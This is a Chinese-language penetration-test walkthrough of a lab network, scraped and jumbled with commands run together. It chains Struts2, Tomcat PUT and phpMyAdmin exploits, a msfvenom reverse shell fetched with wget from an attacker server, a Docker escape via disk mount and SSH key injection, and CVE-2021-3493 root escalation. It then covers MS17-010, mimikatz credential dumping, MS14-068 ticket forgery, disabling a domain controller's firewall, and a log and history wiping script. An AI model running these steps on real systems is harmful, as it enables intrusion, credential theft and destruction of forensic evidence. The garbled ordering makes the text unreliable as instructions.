打开全部历史记录(打开全部历史记录168)这都可以
概念图直接开干先进入ubuntu启动web先开启3个环境命令:cd /home/ubuntu/Desktop
概念图
直接开干先进入ubuntu启动web先开启3个环境
命令:cd /home/ubuntu/Desktop/vulhub/struts2/s2-045sudo docker-compose up -dcd /home/ubuntu/Desktop/vulhub/tomcat/CVE-2017-12615/
sudo docker-compose up -dcd /home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613/sudo docker-compose up -d
开始一、信息收集nmap -sS -T4 192.168.1.0/24
发现目标:192.168.1.10 除了22端口 2001-2003全是web服务nmap扫描发现目标主机二、web入侵访问2003端口 是一个phpmyadmin
尝试日志文件Getshell1.利用SQL查询查询 select ,将查询后的网页cookiephpmyadmin:f29ab8338e5bebece0edf526c14416c4记录
2.包含Php-session文件getshell
http://192.168.1.10:2003/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd尝试将general log改为yes,提醒我们没有权限,好吧,日志文件getshell这条路是行不通了
利用百度搜索发现,phpmyadmin4.8.1后台存在漏洞CVE-2018-12613,利用Poc验证本服务器是否存在成功包含,存在此漏洞漏洞利用打开2002端口 是一个tomcat页面 版本是8.5.19
尝试put方法拿shell
冰蝎连接
成功getshell先打开2001端口的web
是一个上传界面 我们先随便上传一个文件上传之后发现后缀是.action的
推测是struts2框架然后使用漏洞工具探测一波
发现存在漏洞 且可执行命令 用msf上线先在kali上生成msf木马 然后开一个http服务 将马放在服务上 供目标远程下载 因为目标出网然后目标远程下载 执行下载命令然后msf开启监听然后在目标上执行shell.elf 先给权限
然后执行
然后kali 收到会话
发现是172开头的
怀疑是docker 先判断一波用命令 cat /proc/1/cgroup
判断docker方法:确定是在docker中 所以进行docker逃逸msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.31.96 LPORT=6666 -f elf > shell.elf
python -m SimpleHTTPServer 80命令:wget http://192.168.1.11/shell.elf命令:
use exploit/multi/handlerset lhost 0.0.0.0set lport 6666set payload linux/x86/meterpreter/reverse_tcp
run命令:1、使用下面命令,查看是否存在 dockerrnv 文件 ls -alh /.dockerenv2、查看系统进程的cgroup信息 cat /proc/1/cgroup1、Struts2框架漏洞Getshell
2、Tomcat任意文件上传(CVE-2017-12615)Getshell3、PhPMyadmin CVE-2018-12613 Getshell三、Docker逃逸先查看版本
根据志哥的wp 发现有一个新的exp可以提权 CVE-2021-3493EXP下载地址:https://github.com/briskets/CVE-2021-3493影响版本编译并上传到服务器exp
Ubuntu 20.10Ubuntu 20.04 LTSUbuntu 18.04 LTSUbuntu 16.04 LTSUbuntu 14.04 ESMgcc exploit -o exppython3 -m http.server 80
chmod 777 exp ./exp 失败...推测环境不一致导致编译后无法在目标主机环境运行,上传exploit.c,尝试在服务器上编译使用
http://192.168.1.11:80/exploit.c
gcc exploit.c -o exp./exp
然后重新弹一个root的shell回去
先在kali中生成密钥 创建一个key文件
然后将密钥复制然后写入目标的.ssh目录下
命令:然后用kali连接ubuntucp -avx /shell/home/ubuntu/.ssh/id_rsa.pub /shell/home/ubuntu/.ssh/authorized_keysecho ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDW0uc8noTdYQIrZo5ODN0AyB4tmZlTF8mwxeVxccWCxrUkVwjhcfcmGq3czbgncMUoYh5vB1jWZSnakVfc4pAx3Yg/G4HVKu1q0JkCqrz8c1VJOpQAWoVjw8gCXpBk1rizX5nS4lkHAfZVJ0gb4grTGK31F+vbhN3OLIqteyUN7kJzWvvhD/iUiEDqVFKzllXIZGTr+kZioZfSxCJEZuI6ARbRDnKM/YHcdlfy0k64bYwWquCV8jxZOC5CYGr9Q6gPEO17a1szkNyTOGWNYk/oDQ2UpOT/PjObE3xk8eQrqnZFHQL23vTou3XOXoSp0C3DEdkr8aYE5bGUoet5n82QzZZixxCQIpuRvtvLHCQlBMiJZEB97gtivFZJXbFxV1QJpbrQDO/Q+HZTGH4rZnFMADDjbFhtWlb/uQqkZr38/hX7JxI8oewZcTKrF7tgc3jE/R33c/8OqNoYdv7LKqP//m7CEVUFE99GH5N+I3H8z6bQnARRhQ/1jKYLmK4+jXk= root@kali > /hack/home/ubuntu/.ssh/authorized_keys
cat /hack/home/ubuntu/.ssh/authorized_keys这里要注意连接的时候需要根据生成key时候的名字 hack
利用fdisk -l 查看挂载盘
sda1盘疑似挂载于宿主机上,利用mount挂载于我们创建的目录之上mkdir shellmount /dev/sda1 shell 挂载成功,我们此时可以查看、修改宿主机的某些文件了
写入ssh密钥进行docker逃逸ubuntu提权四、内网横向先生成一个正向的shell 上传到pc win7上 然后copy到dc上
关闭dc防火墙sc \WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \WIN-ENS2VR5TR3N start unablefirewall
然后将bind.exe传到dc
msf创建监听
创建服务执行msf马:不知道是我的操作问题 还是环境问题 我一直出毛病最后始终连不上
后面的操作 也没多难 执行拿下dc 抓hash 抓密码等 就不继续操作了sc \WIN-ENS2VR5TR3N.demo.com create shell binpath= "c:\bind.exe"创建执行正向shell的进程sc
\WIN-ENS2VR5TR3N.demo.com start shell启动可以执行正向shell的服务 use auxiliary/scanner/smb/smb_ms17_010set payload windows/x64/meterpreter/bind_tcp
set rhosts 192.168.183.130-131run
看样子两台都可能有 先打131拿下131
开始域内信息收集:
但执行域内信息收集的时候出现问题 一直报错
通过问志哥发现 说是当前用户不在域内 换一个用户收集通过systeminfo发现当前是pc机 还有一个机器应该就是域控
先进行进程迁移到一个域用户
迁移成功现在就能成功进行相关的域信息收集
找到域控机器
ip 192.168.183.130DC机器名:WIN-ENS2VR5TR3N.demo.com域管用户 administrator 域用户sid切换回高权限 然后用kiwi抓取密码
抓取到了域用户的明文密码和hash 但是没有抓到域管的使用smb连接了 但是无法执行命令
所以利用ms14-068域内漫游切换到域用户然后上传exe 然后执行 利用ms14-068生成票据: ms14-068.exe -u douser@demo.com -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123
然后利用mimiaktz将凭据导入内存
这里需要先清除目标的凭据mimikatz # kerberos::ptc TGT_douser@demo.com.ccache 然后dir \WIN-ENS2VR5TR3N.demo.com
\c$
凭据生效这里图贴错了 不影响demo\douser S-1-5-21-979886063-1111900045-1414766810-1107douser:Dotest123ntml:bc23b0b4d5bf5ff42bc61fb62e13886e sha1:c48096437367aad00ac2dc70552051cd84912a55
mimikatz # kerberos::purge //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造mimikatz # kerberos::list //查看当前机器凭证
mimikatz # kerberos::ptc //将票据注入到内存中use auxiliary/scanner/portscan/tcpset ports 135,445,80,443,1433,3306,53,8080,8888,7001 # 将常用端口添加并扫描set rhosts 192.168.183.130-131
#探测两台服务器 130开了53 135 445
131开了135 445
因为都开 了135 445 用永恒之蓝扫一波use auxiliary/scanner/smb/smb_version set rhosts 192.168.183.0/24set timestampoutput 5 设置最大超时时间为5s
发现两个存活主机 以及域名demo
use auxiliary/server/socks_proxy set srvhost 192.168.1.11set version 4a socks版本 run 发现路由
添加路由 命令:run autoroute -s 192.168.183.0/24
开启socks代理信息收集 探测存存活主机探测主机存活端口永恒之蓝漫游DC五、痕迹清理1.查看事件日志run event_manager -i2.删除事件日志run event_manager -c3.clearv命令清除目标系统的事件日志。
清除命令历史记录histroy -r #删除当前会话历史记录history -c #删除内存中的所有命令历史rm .bash_history #删除历史文件中的内容
HISTZISE=0 #通过设置历史命令条数来清除所有历史记录在隐蔽的位置执行命令使用vim打开文件执行命令:set history=0:!commandlinux日志文件/var/run/utmp 记录现在登入的用户
/var/log/wtmp 记录用户所有的登入和登出/var/log/lastlog 记录每一个用户最后登入时间/var/log/btmp 记录错误的登入尝试/var/log/auth.log 需要身份确认的操作
/var/log/secure 记录安全相关的日志信息/var/log/maillog 记录邮件相关的日志信息/var/log/message 记录系统启动后的信息和错误日志/var/log/cron 记录定时任务相关的日志信息
/var/log/spooler 记录UUCP和news设备相关的日志信息/var/log/boot.log 记录守护进程启动和停止相关的日志消息完全删除日志文件:cat /dev/null > filename
: > filename> filenameecho "" > filenameecho > filename针对性删除日志文件:删除当天日志sed -i /当天日期/d filename一键清除脚本:
#!/usr/bin/bashecho > /var/log/syslogecho > /var/log/messagesecho > /var/log/httpd/access_logecho > /var/log/httpd/error_log
echo > /var/log/xferlogecho > /var/log/secureecho > /var/log/auth.logecho > /var/log/user.logecho > /var/log/wtmp
echo > /var/log/lastlogecho > /var/log/btmpecho > /var/run/utmprm ~/./bash_historyhistory -cLinuxWindows
免责声明:本站所有信息均搜集自互联网,并不代表本站观点,本站不对其真实合法性负责。如有信息侵犯了您的权益,请告知,本站将立刻处理。联系QQ:1640731186